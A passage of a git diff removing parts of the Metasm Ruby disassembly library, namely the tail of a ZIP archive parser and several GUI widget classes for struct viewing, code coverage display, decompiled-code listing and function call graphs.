'NONE' if data == '' - - @crc32 = Zlib.crc32(data) - @uncompressed_sz = data.length - - case compress_method - when 'NONE' - when 'DEFLATE' - data = zlib_deflate(data) - when nil - # autodetect compression method - # compress if we win more than 10% space - cdata = zlib_deflate(data) - ratio = cdata.length * 100 / data.length - if ratio < 90 - @compress_method = 'DEFLATE' - data = cdata - else - @compress_method = 'NONE' - end - end - - @compressed_sz = data.length - - data - end - end - - MAGIC_ENDCENTRALDIRECTORY = 0x06054b50 - class EndCentralDirectory < SerialStruct - word :signature, MAGIC_ENDCENTRALDIRECTORY - halfs :disk_nr, :disk_centraldir, :entries_nr_thisdisk, :entries_nr - word :directory_sz - word :directory_off - half :comment_len - attr_accessor :comment - - def decode(zip) - super(zip) - raise "Invalid ZIP end signature #{@signature.to_s(16)}" if @signature != MAGIC_ENDCENTRALDIRECTORY - @comment = zip.encoded.read(@comment_len) if @comment_len > 0 - end - - def set_default_values(zip) - @entries_nr_thisdisk = zip.files.length - @entries_nr = zip.files.length - @comment_len = comment ? @comment.length : 0 - super(zip) - end - - def encode(zip) - ed = super(zip) - ed << comment - end - end - - def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end - def encode_half(w) Expression[w].encode(:u16, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - - attr_accessor :files, :header - - def initialize(cpu = nil) - @endianness = :little - @header = EndCentralDirectory.new - @files = [] - super(cpu) - end - - # scan and decode the 'end of central directory' header - def decode_header - if not @encoded.ptr = @encoded.data.rindex([MAGIC_ENDCENTRALDIRECTORY].pack('V')) - raise "ZIP: no end of central directory record" - end - @header = EndCentralDirectory.decode(self) - end - - # read the whole central directory file descriptors - def decode - decode_header - @encoded.ptr = @header.directory_off - while @encoded.ptr < @header.directory_off + @header.directory_sz - @files << CentralHeader.decode(self) - end - end - - # checks if a given file name exists in the archive - # returns the CentralHeader or nil - # case-insensitive if lcase is false - def has_file(fname, lcase=true) - decode if @files.empty? - if lcase - @files.find { |f| f.fname == fname } - else - fname = fname.downcase - @files.find { |f| f.fname.downcase == fname } - end - end - - # returns the uncompressed raw file content from a given name - # nil if name not found - # case-insensitive if lcase is false - def file_data(fname, lcase=true) - if f = has_file(fname, lcase) - f.file_data(self) - end - end - - # add a new file to the zip archive - def add_file(fname, data, compress=:auto) - f = CentralHeader.new - - case compress - when 'NONE', false; f.compress_method = 'NONE' - when 'DEFLATE', true; f.compress_method = 'DEFLATE' - end - - f.fname = fname - f.data = data - - @files << f - f - end - - # create a new zip file - def encode - edata = EncodedData.new - central_dir = EncodedData.new - - @files.each { |f| - encode_entry(f, edata, central_dir) - } - - @header.directory_off = edata.length - @header.directory_sz = central_dir.length - - edata << central_dir << @header.encode(self) - - @encoded = edata - end - - # add one file to the zip stream - def encode_entry(f, edata, central_dir) - f.localhdr_off = edata.length - - # may autodetect compression method - raw = f.encode_data(self) - - zipalign(f, edata) - - central_dir << f.encode(self) # calls f.set_default_values - - l = LocalHeader.from_central(f) - edata << l.encode(self) - - edata << raw - end - - # zipalign: ensure uncompressed data starts on a 4-aligned offset - def zipalign(f, edata) - if f.compress_method == 'NONE' and not f.extra - o = (edata.length + f.fname.length + 2) & 3 - f.extra = " "*(4-o) if o > 0 - end - - end - - # when called as AutoExe, try to find a meaningful exefmt - def self.autoexe_load(bin) - z = decode(bin) - if dex = z.file_data('classes.dex') - puts "ZIP: APK file, loading 'classes.dex'" if $VERBOSE - AutoExe.load(dex) - else - z - end - end -end -end diff --git a/lib/metasm/metasm/gui.rb b/lib/metasm/metasm/gui.rb deleted file mode 100644 index 36630d4459..0000000000 --- a/lib/metasm/metasm/gui.rb +++ /dev/null @@ -1,13 +0,0 @@ -backend = ENV['METASM_GUI'] || ( - if RUBY_PLATFORM =~ /(i.86|x(86_)?64)-(mswin|mingw|cygwin)/i - 'win32' - else - begin - require 'gtk2' - 'gtk' - rescue LoadError - raise LoadError, 'No GUI ruby binding installed - please install libgtk2-ruby' - end - end -) -require "metasm/gui/#{backend}" diff --git a/lib/metasm/metasm/gui/cstruct.rb b/lib/metasm/metasm/gui/cstruct.rb deleted file mode 100644 index 2fe8fa8c48..0000000000 --- a/lib/metasm/metasm/gui/cstruct.rb +++ /dev/null @@ -1,367 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class CStructWidget < DrawableWidget - attr_accessor :dasm, :view_x, :view_y - - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - @line_text_col = [] # each line is [[:col, 'text'], [:col, 'text']] - @line_text = [] - @line_dereference = [] # linenr => [addr, struct] (args to focus_addr) - @curaddr = nil - @curstruct = nil - @tabwidth = 8 - @view_x = @view_y = 0 - @caret_x = @caret_y = 0 - @cwidth = @cheight = 1 # widget size in chars - @structdepth = 2 - - @default_color_association = ColorTheme.merge :keyword => :blue - end - - def click(x, y) - @caret_x = (x-1).to_i / @font_width + @view_x - @caret_y = y.to_i / @font_height + @view_y - update_caret - end - - def rightclick(x, y) - click(x, y) - @parent_widget.clone_window(@hl_word) if @hl_word - end - - def doubleclick(x, y) - click(x, y) - keypress(:enter) - end - - def mouse_wheel(dir, x, y) - case dir - when :up - if @caret_y > 0 - @view_y -= 4 - @view_y = 0 if @view_y < 0 - @caret_y -= 4 - @caret_y = 0 if @caret_y < 0 - end - when :down - if @caret_y < @line_text.length - 1 - @view_y += 4 - @caret_y += 4 - end - end - redraw - end - - def paint - @cwidth = width/@font_width - @cheight = height/@font_height - - # adjust viewport to cursor - sz_x = @line_text.map { |l| l.length }.max.to_i + 1 - sz_y = @line_text.length.to_i + 1 - @view_x = @caret_x - @cwidth + 1 if @caret_x > @view_x + @cwidth - 1 - @view_x = @caret_x if @caret_x < @view_x - @view_x = sz_x - @cwidth - 1 if @view_x >= sz_x - @cwidth - @view_x = 0 if @view_x < 0 - - @view_y = @caret_y - @cheight + 1 if @caret_y > @view_y + @cheight - 1 - @view_y = @caret_y if @caret_y < @view_y - @view_y = sz_y - @cheight - 1 if @view_y >= sz_y - @cheight - @view_y = 0 if @view_y < 0 - - # current cursor position - x = 1 - y = 0 - - @line_text_col[@view_y, @cheight + 1].each { |l| - cx = 0 - l.each { |c, t| - cx += t.length - if cx-t.length > @view_x + @cwidth + 1 - elsif cx < @view_x - else - t = t[(@view_x - cx + t.length)..-1] if cx-t.length < @view_x - draw_string_hl(c, x, y, t) - x += t.length * @font_width - end - } - x = 1 - y += @font_height - } - - if focus? - # draw caret - cx = (@caret_x-@view_x)*@font_width+1 - cy = (@caret_y-@view_y)*@font_height - draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) - end - - @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - end - - def keypress(key) - case key - when :left - if @caret_x >= 1 - @caret_x -= 1 - update_caret - end - when :up - if @caret_y > 0 - @caret_y -= 1 - update_caret - end - when :right - if @caret_x < @line_text[@caret_y].to_s.length - @caret_x += 1 - update_caret - end - when :down - if @caret_y < @line_text.length - @caret_y += 1 - update_caret - end - when :home - @caret_x = @line_text[@caret_y].to_s[/^\s*/].length - update_caret - when :end - @caret_x = @line_text[@caret_y].to_s.length - update_caret - when :pgup - @caret_y -= @cheight/2 - @caret_y = 0 if @caret_y < 0 - update_caret - when :pgdown - @caret_y += @cheight/2 - @caret_y = @line_text.length if @caret_y > @line_text.length - update_caret - when :enter - if l = @line_dereference[@caret_y] - if @parent_widget - @parent_widget.focus_addr(l[0], :cstruct, false, l[1]) - else - focus_addr(l[0], l[1]) - end - end - when ?+ - @structdepth += 1 - gui_update - when ?- - @structdepth -= 1 - gui_update - when ?/ - @structdepth = 1 - gui_update - when ?* - @structdepth = 50 - gui_update - when ?l - liststructs - when ?t - inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| focus_struct_byname(n) } - else return false - end - true - end - - # display the struct or pop a list of matching struct names if ambiguous - def focus_struct_byname(n, addr=@curaddr) - lst = @dasm.c_parser.toplevel.struct.keys.grep(String) - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(addr, @dasm.c_parser.toplevel.struct[fn]) - else - lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| - s = @dasm.c_parser.toplevel.symbol[ln] - s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) - } - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(addr, @dasm.c_parser.toplevel.symbol[fn].untypedef) - else - liststructs(n, addr) - end - end - end - - def liststructs(partname=nil, addr=@curaddr) - tl = @dasm.c_parser.toplevel - list = [['name', 'size']] - list += tl.struct.keys.grep(String).sort.map { |stn| - next if partname and stn !~ /#{partname}/i - st = tl.struct[stn] - [stn, @dasm.c_parser.sizeof(st)] if st.members - }.compact - list += tl.symbol.keys.grep(String).sort.map { |stn| - next if partname and stn !~ /#{partname}/i - st = tl.symbol[stn] - next unless st.kind_of?(C::TypeDef) and st.untypedef.kind_of?(C::Union) - [stn, @dasm.c_parser.sizeof(st)] if st.untypedef.members - }.compact - - if partname and list.length == 2 - focus_addr(addr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) - return - end - - listwindow('structs', list) { |stn| - focus_addr(addr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) - } - end - - def get_cursor_pos - [@curaddr, @curstruct, @caret_x, @caret_y, @view_y] - end - - def set_cursor_pos(p) - focus_addr p[0], p[1] - @caret_x, @caret_y, @view_y = p[2, 3] - update_caret - end - - # hint that the caret moved - # redraws the caret, change the hilighted word, redraw if needed - def update_caret - if @caret_x < @view_x or @caret_x >= @view_x + @cwidth or @caret_y < @view_y or @caret_y >= @view_y + @cheight - redraw - elsif update_hl_word(@line_text[@caret_y], @caret_x, :c) - redraw - else - invalidate_caret(@oldcaret_x-@view_x, @oldcaret_y-@view_y) - invalidate_caret(@caret_x-@view_x, @caret_y-@view_y) - end - @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - end - - # focus on addr - # returns true on success - def focus_addr(addr, struct=@curstruct) - return if @parent_widget and not addr = @parent_widget.normalize(addr) - @curaddr = addr - @caret_x = @caret_y = 0 - if struct.kind_of? String - @curstruct = nil - focus_struct_byname(struct) - else - @curstruct = struct - gui_update - end - true - end - - # returns the address of the data under the cursor - def current_address - @curaddr - end - - def render_struct(obj=nil, off=nil, maxdepth=@structdepth) - render = lambda { |str, col| - if @line_text_col.last[0] == col - @line_text_col.last[1] << str - else - @line_text_col.last << [col, str] - end - } - indent = ' ' * @tabwidth - nl = lambda { - @line_text_col << [] - render[indent * [@structdepth - maxdepth, 0].max, :text] - } - - if not obj - @line_text_col = [[]] - @line_dereference = [] - - struct = @curstruct - if str = @dasm.get_section_at(@curaddr) - obj = @dasm.c_parser.decode_c_struct(struct, str[0].read(@dasm.c_parser.sizeof(struct))) - else - render["/* unmapped area #{Expression[@curaddr]} */", :text] - return - end - else - struct = obj.struct - end - - if maxdepth <= 0 - render['{ /* type "+" to expand */ }', :text] - return - end - - # from AllocCStruct#to_s - if struct.kind_of?(C::Array) - render["#{struct.type} ar_#{Expression[@curaddr]}[#{struct.length}] = ", :text] if not off - mlist = (0...struct.length) - el = @dasm.c_parser.sizeof(struct.type) - fldoff = mlist.inject({}) { |h, i| h.update i => i*el } - elsif struct.kind_of?(C::Struct) - render["struct #{struct.name || '_'} st_#{Expression[@curaddr]} = ", :text] if not off - fldoff = struct.fldoffset - else - render["union #{struct.name || '_'} un_#{Expression[@curaddr]} = ", :text] if not off - end - mlist ||= struct.members - render['{', :text] - mlist.each { |k| - if k.kind_of? C::Variable - ct = k.type - curoff = off.to_i + (fldoff && k.name ? fldoff[k.name].to_i : struct.offsetof(@dasm.c_parser, k)) - val = obj[k] - else - ct = struct.type - curoff = off.to_i + fldoff[k].to_i - val = obj[k] - end - nl[] - render[indent, :text] - render[k.kind_of?(Integer) ? "[#{k}]" : ".#{k.name || '?'}", :text] - render[' = ', :text] - if val.kind_of?(Integer) - if ct.pointer? and ct.pointed.untypedef.kind_of?(C::Union) - @line_dereference[@line_text_col.length-1] = [val, ct.pointed.untypedef] - end - if val >= 0x100 - val = '0x%X' % val - elsif val <= -0x100 - val = '-0x%X' % -val - else - val = val.to_s - end - elsif val.kind_of?(C::AllocCStruct) - render_struct(val, curoff, maxdepth-1) - next - elsif not val - val = 'NULL' # pointer with NULL value - else - raise "unknown value #{val.inspect}" - end - render[val, :text] - render[',', :text] - render[' // +%x' % curoff, :comment] - } - nl[] - render['}', :text] - render[(off ? ',' : ';'), :text] - end - - - def gui_update - if @curstruct - render_struct - else - @line_text_col = [[[:text, '/* no struct selected (list with "l") */']]] - end - - @line_text = @line_text_col.map { |l| l.map { |c, s| s }.join } - update_caret - redraw - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_coverage.rb b/lib/metasm/metasm/gui/dasm_coverage.rb deleted file mode 100644 index 0278198fcc..0000000000 --- a/lib/metasm/metasm/gui/dasm_coverage.rb +++ /dev/null @@ -1,199 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class CoverageWidget < DrawableWidget - attr_accessor :dasm, :sections, :pixel_w, :pixel_h - - # TODO wheel -> zoom, dragdrop -> scroll?(zoomed) - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - @curaddr = 0 - @pixel_w = @pixel_h = 2 # use a font ? - @sections = [] - @section_x = [] - @slave = nil # another dasmwidget whose curaddr is kept sync - - @default_color_association = ColorTheme.merge :caret => :yellow, :caret_col => :darkyellow, - :background => :palegrey, :code => :red, :data => :blue - end - - def click(x, y) - x, y = x.to_i - 1, y.to_i - @sections.zip(@section_x).each { |s, sx| - if x >= sx[0] and x < sx[1]+@pixel_w - @curaddr = s[0] + (x-sx[0])/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height - @slave.focus_addr(@curaddr) if @slave rescue @slave=nil - redraw - break - end - } - end - - def doubleclick(x, y) - click(x, y) - cw = @parent_widget.clone_window(@curaddr, :listing) - @slave = cw.dasm_widget - @slave.focus_changed_callback = lambda { redraw rescue @slave.focus_changed_callback = nil } - end - alias rightclick doubleclick - - def mouse_wheel(dir, x, y) - # TODO zoom ? - case dir - when :up - when :down - end - end - - def paint - @curaddr = @slave.curaddr if @slave and @slave.curaddr rescue @slave=nil - - @spacing = 4 # pixels left for borders / inter-section - - @col_height = height/@pixel_h - 2*@spacing # pixels per column - @col_height = 1 if @col_height < 1 - - cols = width/@pixel_w - 2*@spacing - cols -= (@sections.length-1) * (@spacing+1) # space+1: last col of each section may be only 1byte long - cols = 64 if cols < 64 - - # find how much bytes we must stuff per pixel so that it fits in the window - bytes = @sections.map { |a, l, seq| l }.inject(0) { |a, b| a+b } - @byte_per_col = (bytes / cols + @col_height) / @col_height * @col_height - @byte_per_col = @col_height if @byte_per_col < @col_height - - x = @spacing*@pixel_w - ybase = @spacing*@pixel_h - - # draws a rectangle covering h1 to h2 in y, of width w - # advances x as needed - draw_rect = lambda { |h1, h2, rw| - h2 += 1 - draw_rectangle(x, ybase+@pixel_h*h1, @pixel_w*rw, @pixel_h*(h2-h1)) - rw -= 1 if h2 != @col_height - x += rw*@pixel_w - } - - # draws rectangles to cover o1 to o2 - draw = lambda { |o1, o2| - next if o1 > o2 - o1_ = o1 - - o1 /= @byte_per_col / @col_height - o2 /= @byte_per_col / @col_height - - o11 = o1 % @col_height - o12 = o1 / @col_height - o21 = o2 % @col_height - o22 = o2 / @col_height - - p11 = (o1_ - 1) / (@byte_per_col / @col_height) % @col_height - x -= @pixel_w if o11 == @col_height-1 and o11 == p11 - - if o11 > 0 - draw_rect[o11, (o12 == o22 ? o21 : @col_height-1), 1] - next if o12 == o22 - o12 += 1 - end - - if o12 < o22 - draw_rect[0, @col_height-1, o22-o12] - end - - draw_rect[0, o21, 1] - } - - @section_x = [] - @sections.each { |a, l, seq| - curoff = 0 - @section_x << [x] - seq += [[l, l-1]] if not seq[-1] or seq[-1][1] < l # to draw last data - seq.each { |o, oe| - draw_color :data - draw[curoff, o-1] - draw_color :code - draw[o, oe] - curoff = oe+1 - } - @section_x.last << x - x += @spacing*@pixel_w - } - - @sections.zip(@section_x).each { |s, sx| - next if @curaddr.kind_of? Integer and not s[0].kind_of? Integer - next if @curaddr.kind_of? Expression and not s[0].kind_of? Expression - co = @curaddr-s[0] - if co >= 0 and co < s[1] - draw_color :caret_col - x = sx[0] + (co/@byte_per_col)*@pixel_w - draw_rect[-@spacing, -1, 1] - draw_rect[@col_height, @col_height+@spacing, 1] - draw_color :caret - y = (co*@col_height/@byte_per_col) % @col_height - y = (co % @byte_per_col) / (@byte_per_col/@col_height) - draw_rect[y, y, 1] - end - } - end - - def get_cursor_pos - @curaddr - end - - def set_cursor_pos(p) - @curaddr = p - @slave.focus_addr(@curaddr) if @slave rescue @slave=nil - redraw - end - - # focus on addr - # returns true on success (address exists) - def focus_addr(addr) - return if not addr = @parent_widget.normalize(addr) or not @dasm.get_section_at(addr) - @curaddr = addr - @slave.focus_addr(@curaddr) if @slave rescue @slave=nil - gui_update - true - end - - # returns the address of the data under the cursor - def current_address - @curaddr - end - - def gui_update - # ary of section [addr, len, codespan] - # codespan is an ary of [code_off_start, code_off_end] (sorted by off) - @sections = @dasm.sections.map { |a, ed| - a = Expression[a].reduce - l = ed.length - if a.kind_of? Integer - l += a % 32 - a -= a % 32 - end - acc = [] - # stuff with addr-section_addr is to handle non-numeric section addrs (eg elf ET_REL) - @dasm.decoded.keys.map { |da| da-a rescue nil }.grep(Integer).grep(0..l).sort.each { |o| - next if not da = @dasm.di_at(a+o) - oe = o + da.bin_length - if acc[-1] and acc[-1][1] >= o - # handle di overlapping - acc[-1][1] = oe if acc[-1][1] < oe - else - acc << [o, oe] - end - } - [a, l, acc] - } - @sections = @sections.sort if @sections.all? { |a, l, s| a.kind_of? Integer } - redraw - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_decomp.rb b/lib/metasm/metasm/gui/dasm_decomp.rb deleted file mode 100644 index 14de7cbadf..0000000000 --- a/lib/metasm/metasm/gui/dasm_decomp.rb +++ /dev/null @@ -1,356 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class CdecompListingWidget < DrawableWidget - attr_accessor :dasm, :curaddr, :tabwidth - - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - @view_x = @view_y = 0 # coord of corner of view in characters - @cwidth = @cheight = 1 # widget size in chars - @line_text = [] - @line_text_col = [] # each line is [[:col, 'text'], [:col, 'text']] - @curaddr = nil - @tabwidth = 8 - - @default_color_association = ColorTheme.merge :keyword => :blue, :localvar => :darkred, - :globalvar => :darkgreen, :intrinsic => :darkyellow - end - - def curfunc - @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[@curaddr] or @dasm.c_parser.toplevel.struct[@curaddr]) - end - - def click(x, y) - @caret_x = (x-1).to_i / @font_width + @view_x - @caret_y = y.to_i / @font_height + @view_y - update_caret - end - - def rightclick(x, y) - click(x, y) - if @dasm.c_parser and @dasm.c_parser.toplevel.symbol[@hl_word] - @parent_widget.clone_window(@hl_word, :decompile) - elsif @hl_word - @parent_widget.clone_window(@hl_word) - end - end - - def doubleclick(x, y) - click(x, y) - @parent_widget.focus_addr(@hl_word) - end - - def mouse_wheel(dir, x, y) - case dir - when :up - if @caret_y > 0 - @view_y -= 4 - @caret_y -= 4 - @caret_y = 0 if @caret_y < 0 - end - when :down - if @caret_y < @line_text.length - 1 - @view_y += 4 - @caret_y += 4 - redraw - end - end - redraw - end - - def paint - @cwidth = width/@font_width - @cheight = height/@font_height - - # adjust viewport to cursor - sz_x = @line_text.map { |l| l.length }.max.to_i + 1 - sz_y = @line_text.length.to_i + 1 - @view_x = @caret_x - @cwidth + 1 if @caret_x > @view_x + @cwidth - 1 - @view_x = @caret_x if @caret_x < @view_x - @view_x = sz_x - @cwidth - 1 if @view_x >= sz_x - @cwidth - @view_x = 0 if @view_x < 0 - - @view_y = @caret_y - @cheight + 1 if @caret_y > @view_y + @cheight - 1 - @view_y = @caret_y if @caret_y < @view_y - @view_y = sz_y - @cheight - 1 if @view_y >= sz_y - @cheight - @view_y = 0 if @view_y < 0 - - # current cursor position - x = 1 - y = 0 - - # renders a string at current cursor position with a color - # must not include newline - render = lambda { |str, color| - # function ends when we write under the bottom of the listing - draw_string_hl(color, x, y, str) - x += str.length * @font_width - } - - @line_text_col[@view_y, @cheight + 1].each { |l| - cx = 0 - l.each { |c, t| - cx += t.length - if cx-t.length > @view_x + @cwidth + 1 - elsif cx < @view_x - else - t = t[(@view_x - cx + t.length)..-1] if cx-t.length < @view_x - render[t, c] - end - } - x = 1 - y += @font_height - } - - if focus? - # draw caret - cx = (@caret_x-@view_x)*@font_width+1 - cy = (@caret_y-@view_y)*@font_height - draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) - end - - @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - end - - def keypress(key) - case key - when :left - if @caret_x >= 1 - @caret_x -= 1 - update_caret - end - when :up - if @caret_y > 0 - @caret_y -= 1 - update_caret - end - when :right - if @caret_x < @line_text[@caret_y].to_s.length - @caret_x += 1 - update_caret - end - when :down - if @caret_y < @line_text.length - @caret_y += 1 - update_caret - end - when :home - @caret_x = @line_text[@caret_y].to_s[/^\s*/].length - update_caret - when :end - @caret_x = @line_text[@caret_y].to_s.length - update_caret - when :pgup - @caret_y -= @cheight/2 - @caret_y = 0 if @caret_y < 0 - update_caret - when :pgdown - @caret_y += @cheight/2 - @caret_y = @line_text.length if @caret_y > @line_text.length - update_caret - when ?n # rename local/global variable - f = curfunc.initializer if curfunc and curfunc.initializer.kind_of? C::Block - n = @hl_word - if (f and f.symbol[n]) or @dasm.c_parser.toplevel.symbol[n] - @parent_widget.inputbox("new name for #{n}", :text => n) { |v| - if v !~ /^[a-z_$][a-z_0-9$]*$/i - @parent_widget.messagebox("invalid name #{v.inspect} !") - next - end - if f and f.symbol[n] - # TODO add/update comment to the asm instrs - s = f.symbol[v] = f.symbol.delete(n) - s.name = v - f.decompdata[:stackoff_name][s.stackoff] = v if s.stackoff - elsif @dasm.c_parser.toplevel.symbol[n] - @dasm.rename_label(n, v) - @curaddr = v if @curaddr == n - end - gui_update - } - end - when ?r # redecompile - @parent_widget.decompile(@curaddr) - when ?t # change variable type (you'll want to redecompile after that) - f = curfunc.initializer if curfunc.kind_of? C::Variable and curfunc.initializer.kind_of? C::Block - n = @hl_word - cp = @dasm.c_parser - if (f and s = f.symbol[n]) or s = cp.toplevel.symbol[n] or s = cp.toplevel.symbol[@curaddr] - s_ = s.dup - s_.initializer = nil if s.kind_of? C::Variable # for static var, avoid dumping the initializer in the textbox - s_.attributes &= C::Attributes::DECLSPECS if s_.attributes - @parent_widget.inputbox("new type for #{s.name}", :text => s_.dump_def(cp.toplevel)[0].join(' ')) { |t| - if t == '' - if s.type.kind_of? C::Function and s.initializer and s.initializer.decompdata - s.initializer.decompdata[:stackoff_type].clear - s.initializer.decompdata.delete :return_type - elsif s.kind_of? C::Variable and s.stackoff - f.decompdata[:stackoff_type].delete s.stackoff - end - next - end - begin - cp.lexer.feed(t) - raise 'bad type' if not v = C::Variable.parse_type(cp, cp.toplevel, true) - v.parse_declarator(cp, cp.toplevel) - if s.type.kind_of? C::Function and s.initializer and s.initializer.decompdata - # updated type of a decompiled func: update stack - vt = v.type.untypedef - vt = vt.type.untypedef if vt.kind_of? C::Pointer - raise 'function forever !' if not vt.kind_of? C::Function - # TODO _declspec - ao = 1 - vt.args.to_a.each { |a| - next if a.has_attribute_var('register') - ao = (ao + [cp.sizeof(a), cp.typesize[:ptr]].max - 1) / cp.typesize[:ptr] * cp.typesize[:ptr] - s.initializer.decompdata[:stackoff_name][ao] = a.name if a.name - s.initializer.decompdata[:stackoff_type][ao] = a.type - ao += cp.sizeof(a) - } - s.initializer.decompdata[:return_type] = vt.type - s.type = v.type - else - f.decompdata[:stackoff_type][s.stackoff] = v.type if f and s.kind_of? C::Variable and s.stackoff - s.type = v.type - end - gui_update - rescue Object - @parent_widget.messagebox([$!.message, $!.backtrace].join("\n"), "error") - end - cp.readtok until cp.eos? - } - end - else return false - end - true - end - - def get_cursor_pos - [@curaddr, @caret_x, @caret_y, @view_y] - end - - def set_cursor_pos(p) - focus_addr p[0] - @caret_x, @caret_y, @view_y = p[1, 3] - update_caret - end - - # hint that the caret moved - # redraws the caret, change the hilighted word, redraw if needed - def update_caret - redraw if @caret_x < @view_x or @caret_x >= @view_x + @cwidth or @caret_y < @view_y or @caret_y >= @view_y + @cheight - - invalidate_caret(@oldcaret_x-@view_x, @oldcaret_y-@view_y) - invalidate_caret(@caret_x-@view_x, @caret_y-@view_y) - @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - - redraw if update_hl_word(@line_text[@caret_y], @caret_x, :c) - end - - # focus on addr - # returns true on success (address exists & decompiled) - def focus_addr(addr) - if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr].kind_of?(C::Union)) - @curaddr = addr - @caret_x = @caret_y = 0 - gui_update - return true - end - - return if not addr = @parent_widget.normalize(addr) - - # scan up to func start/entrypoint - todo = [addr] - done = [] - ep = @dasm.entrypoints.to_a.inject({}) { |h, e| h.update @dasm.normalize(e) => true } - while addr = todo.pop - next if not di = @dasm.di_at(addr) - addr = di.block.address - next if done.include?(addr) or not @dasm.di_at(addr) - done << addr - break if @dasm.function[addr] or ep[addr] - empty = true - @dasm.decoded[addr].block.each_from_samefunc(@dasm) { |na| empty = false ; todo << na } - break if empty - end - @dasm.auto_label_at(addr, 'loc') if @dasm.get_section_at(addr) and not @dasm.get_label_at(addr) - return if not l = @dasm.get_label_at(addr) - @curaddr = l - @caret_x = @caret_y = 0 - gui_update - true - end - - # returns the address of the data under the cursor - def current_address - @curaddr - end - - def update_line_text - @line_text = curfunc.dump_def(@dasm.c_parser.toplevel)[0].map { |l| l.gsub("\t", ' '*@tabwidth) } - @line_text_col = [] - - if f = curfunc and f.kind_of? C::Variable and f.initializer.kind_of? C::Block - keyword_re = /\b(#{C::Keyword.keys.join('|')})\b/ - intrinsic_re = /\b(intrinsic_\w+)\b/ - lv = f.initializer.symbol.keys - lv << '00' if lv.empty? - localvar_re = /\b(#{lv.join('|')})\b/ - globalvar_re = /\b(#{f.initializer.outer.symbol.keys.join('|')})\b/ - end - - @line_text.each { |l| - lc = [] - if f - while l and l.length > 0 - if (i_k = (l =~ keyword_re)) == 0 - m = $1.length - col = :keyword - elsif (i_i = (l =~ intrinsic_re)) == 0 - m = $1.length - col = :intrinsic - elsif (i_l = (l =~ localvar_re)) == 0 - m = $1.length - col = :localvar - elsif (i_g = (l =~ globalvar_re)) == 0 - m = $1.length - col = :globalvar - else - m = ([i_k, i_i, i_l, i_g, l.length] - [nil, false]).min - col = :text - end - lc << [col, l[0, m]] - l = l[m..-1] - end - else - lc << [:text, l] - end - @line_text_col << lc - } - end - - def gui_update - if not curfunc and not @decompiling ||= false - @line_text = ['please wait'] - @line_text_col = [[[:text, 'please wait']]] - redraw - @decompiling = true - @dasm.decompile_func(@curaddr) - @decompiling = false - end - if curfunc - update_line_text - update_caret - end - redraw - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_funcgraph.rb b/lib/metasm/metasm/gui/dasm_funcgraph.rb deleted file mode 100644 index 790277a235..0000000000 --- a/lib/metasm/metasm/gui/dasm_funcgraph.rb +++ /dev/null @@ -1,103 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/gui/dasm_graph' - -module Metasm -module Gui -class FuncGraphViewWidget < GraphViewWidget - # :full / :from / :to / :both - # :from = graph of functions called by addr - # :to = graph of functions calling addr - attr_accessor :graph_mode - def initialize(*a) - super(*a) - @graph_mode = :full - end - - def build_ctx(ctx) - addr = @curcontext.root_addrs[0] - case @graph_mode - when :full - g = @dasm.function_graph - when :from - g = @dasm.function_graph_from(addr) - when :to - g = @dasm.function_graph_to(addr) - when :both - # merge from+to - g = @dasm.function_graph_to(addr) - @dasm.function_graph_from(addr).each { |k, v| - g[k] ||= v - g[k] |= v - } - end - g = {addr => []} if not g or g.empty? - - # create boxes - (g.keys + g.values).flatten.uniq.each { |a| - # box text - txt = @dasm.get_label_at(a) - txt ||= Expression[a].to_s - b = ctx.new_box a, :addresses => [a], :line_text_col => [], :line_address => [a] - b[:line_text_col] << [[txt, :label]] - b.w = txt.length * @font_width + 2 - b.h = @font_height - } - - # link boxes - g.each { |f, tl| tl.each { |t| ctx.link_boxes(f, t) } } - - end - - def doubleclick(x, y) - if find_box_xy(x, y) and @hl_word and @zoom >= 0.90 and @zoom <= 1.1 - @mousemove_origin = nil - @parent_widget.focus_addr(@hl_word, :graph) - else - super(x, y) - end - end - - def get_cursor_pos - [@curcontext.root_addrs[0], @graph_mode] - end - - def set_cursor_pos(p) - addr, m = p - focus_addr(addr, m) - @caret_x = 0 - update_caret - end - - def focus_addr(addr, mode=@graph_mode) - if mode == false - # simply center the view on addr in the current graph - raise 'fu' if not b = 